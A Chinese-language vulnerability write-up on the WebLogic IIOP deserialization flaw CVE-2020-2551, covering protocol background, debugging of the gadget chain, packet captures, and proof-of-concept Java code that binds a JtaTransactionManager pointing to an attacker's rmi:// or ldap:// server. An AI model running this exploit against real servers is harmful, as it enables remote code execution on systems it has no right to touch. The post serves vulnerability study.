前言
2020年1月15日, Oracle官方发布了CVE-2020-2551的漏洞通告,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。影响范围为10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。 ps:漏洞学习环境以代码均在上传Github项目。
TIPS
IIOP前世今生
IIOP(Internet Inter-ORB Protocol)Internet对象请求代理间协议,是针对Internet的标准协议,Java中使得程序可以和其他语言的CORBA(普通对象请求协议架构)实现实现互操作性的协议。它规定了GIOP消息通过TCP/IP连接进行交换的规范,适用所有基于TCP/IP的ORB(对象请求代理)产品。IIOP把GIOP消息数据映射为TCP/IP连接行为和输入/输出流进行读/写。IIOP使得Internet本身即可用作骨干ORB,其他ORB可借此进行连接。
GIOP全称(General Inter-ORB Protocol)通用对象请求协议,规定了标准的传输语法及一组ORB间通信消息格式,其设计直接基于任何面向连接的协议,因此可以与下层协议动态绑定。其功能简单来说就是CORBA用来进行数据传输的协议。GIOP针对不同的通信层有不同的具体实现,而针对于TCP/IP层,名为IIOP。所以说通过TCP协议传输的GIOP数据可以称为IIOP
。
这里只做简单说明,更多详情,可以参考Internet Inter-ORB Protocol
“万金油”之7001端口
Weblogic的端口之所以说他是一个“万金油”端口,是因为发送什么协议的请求,它就会响应什么协议。比例说,T3协议、HTTP协议、IIOP协议都可以响应对应的请求,可以说是具有咱们中国的万金油的特性。
漏洞分析
前文提到了漏洞复现的几个坑,但如果使用手把手教你解决Weblogic CVE-2020-2551 POC网络问题文中方法解决网络问题,那每一次目标都得修改一次ip和端口
。作为一名懒人,这种方法很显然不适合我。在寻找通用的方法路上,偶然寻得一种方式,具体在哪找到不记得了,应该是翻GitHub找到的。
浅析Payload
对比分析Payload
首先我们看看网上流传最广泛的payload,对于网络问题没有做任何处理,网上流传的方法就是修改IOPProfile.class
327和328行的ip和端口。
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1";
String port = "7001";
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
Context context = new InitialContext(env);
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
context.bind("hello", remote);
}
图片来源手把手教你解决Weblogic CVE-2020-2551 POC网络问题
下面是无意之中发现的一个点,对比发现多了两行代码。
IOPProfile.IP = "192.168.116.146";
IOPProfile.PORT = 7001;
查看IOPProfile.class
源码发现,添加了IP
和PORT
两个变量,在327和328行处修改了代码逻辑。其实这里有一个小知识点,Java运行编译会优先加载本地,然后在加载依赖,这里的本质是复写。
this.host = IP;
this.port = PORT;
public static void main(String[] args) throws Exception {
IOPProfile.IP = "192.168.116.146";
IOPProfile.PORT = 7001;
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
// 修改对应的iiop主机ip端口
env.put("java.naming.provider.url", "iiop://192.168.116.146:7001"); // 127.0.0.1 = 2130706433
=
Context context = new InitialContext(env);
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("ldap://192.168.116.1:1389/Weblogicpoc");
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
context.rebind("hello", remote);
}
调试分析
流程
请求GIOP NameServer地址
0000 00 0c 29 a8 be 93 00 50 56 c0 00 08 08 00 45 00 ..)….PV…..E. 0010 00 4b 02 2c 40 00 40 06 ce 9c c0 a8 74 01 c0 a8 .K.,@.@…..t… 0020 74 92 e5 42 1b 59 94 ac fd 63 b9 3e a4 58 50 18 t..B.Y…c.>.XP. 0030 10 0a 5d ae 00 00
47 49 4f 50
01 02 00 03 00 00 ..]…GIOP
…… // GIOP 标志 47 49 4f 50 0040 00 17 00 00 00 02 00 00 00 00 00 00 00 0b4e 61
…………..Na
0050 6d 65 53 65 72 76 69 63 65
meService
Weblogic回应请求
GIOP...................3IDL:weblogic/corba/cos/naming/NamingContextAny:1.0......................0.0.0.0..Y.....x.BEA........AdminServer........3IDL:weblogic/corba/cos/naming/NamingContextAny:1.0......8.......BEA,............^`.:.E.>...........,....... ....... ....................... ...........6........http://0.0.0.0:7001/bea_wls_internal/classes/...... ...........!...X...............".....@........g...............g.........weblogicDEFAULT.................BEA.............server-affinity.........weblogic.cosnaming.NameService.........3IDL:weblogic/corba/cos/naming/NamingContextAny:1.0.............t........0.0.0.0..Y.....x.BEA........AdminServer........3IDL:weblogic/corba/cos/naming/NamingContextAny:1.0......8.......BEA,............^`.:.E.>...........,....... ....... ....................... ...........6........http://0.0.0.0:7001/bea_wls_internal/classes/...... ...........!...X...............".....@........g...............g.........weblogicDEFAULT..........................E.>
绑定恶意对象
在得到地址后会请求重新判断Context。
请求恶意Payload执行命令
解析流程
断点设置
断点设置在weblogic.iiop.jar!weblogic.iiop.ConnectionManager#dispatch
,这里有一个tip。Weblogic的版本不同,设置断点的位置也不同。12.2.1.3之前设置在lib.wlfullclient.jar.weblogic.iiop.jar!weblogic.iiop.ConnectionManager#dispatch
;12.2.1.3之后设置lib.com.oracle.weblogic.iiop.jar!weblogic.iiop.ConnectionManager#dispatch
。
Webogic10不能看到GIOP地址请求包会直接忽视,目前我不知道原因,有知道可以说一下。估计是 Webogic10没有使用com.oracle.weblogic.iiop.jar包导致的,里面的ConnectionManager类处理逻辑不一样。这不是重点,暂不深究。
断点设置在此,所有IIOP协议(Weblogic10除外)请求信息可以在此看到。
跳过IIOP解析流程,直接到IIOP协议反序列化部分。(前面实在是晦涩难懂)通过IIOPInputStream#read_value
直接进入反序列化数据处理实现类ValueHandlerImpl#readValue
这里经过判断,数据获取等一系列过程(没看懂)。进入JtaTransactionManager#readObject()
readObject方法调用初始化this.initUserTransactionAndTransactionManager()
判断userTransaction是否为空,等于空就调用lookupUserTransaction获取userTransaction。
返回时调用lookup方法。
JndiTemplate#lookup参数可控导致反序列化漏洞。
至此回看payload,知道JtaTransactionManager类的作用但并没有发现rebind的操作。回头在分析一下如何执行rebind方法。
首先执行InitialContext#rebind
跳转到ContextImpl#rebind
进行绑定和StringToName的类型转化
在然后到ContextImpl#rebind
方法–>var5.rebind_any
再到_NamingContextAnyStub#rebind_any
通过_invoke发送内容,然后返回ContextImpl
抛出异常信息。
总结
Gadget chain
/**
* Context.rebind()
* InitialContext.rebind()
* ContextImpl.rebind()
* _NamingContextAnyStub.rebind_any()
* ............
* IIOPInputStream.read_value()
* ValueHandlerImpl.readValue()
* ValueHandlerImpl.readValueData()
* JtaTransactionManager.readObject()
* JtaTransactionManager.initUserTransactionAndTransactionManager()
* JtaTransactionManager.lookupUserTransaction()
* JndiTemplate.lookup()
*/
小结
- 一个简单复写,达到了意想不到的效果。
- payload使用的是
com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
,这是Spring framework 反序列化的漏洞其中之一。 - 参数可控触发反序列化漏洞
- 2551是第一个IIOP协议的反序列化漏洞,影响很大、范围很广。
参考
https://www.anquanke.com/post/id/197605 https://xz.aliyun.com/t/7374#toc-20 https://xz.aliyun.com/t/7498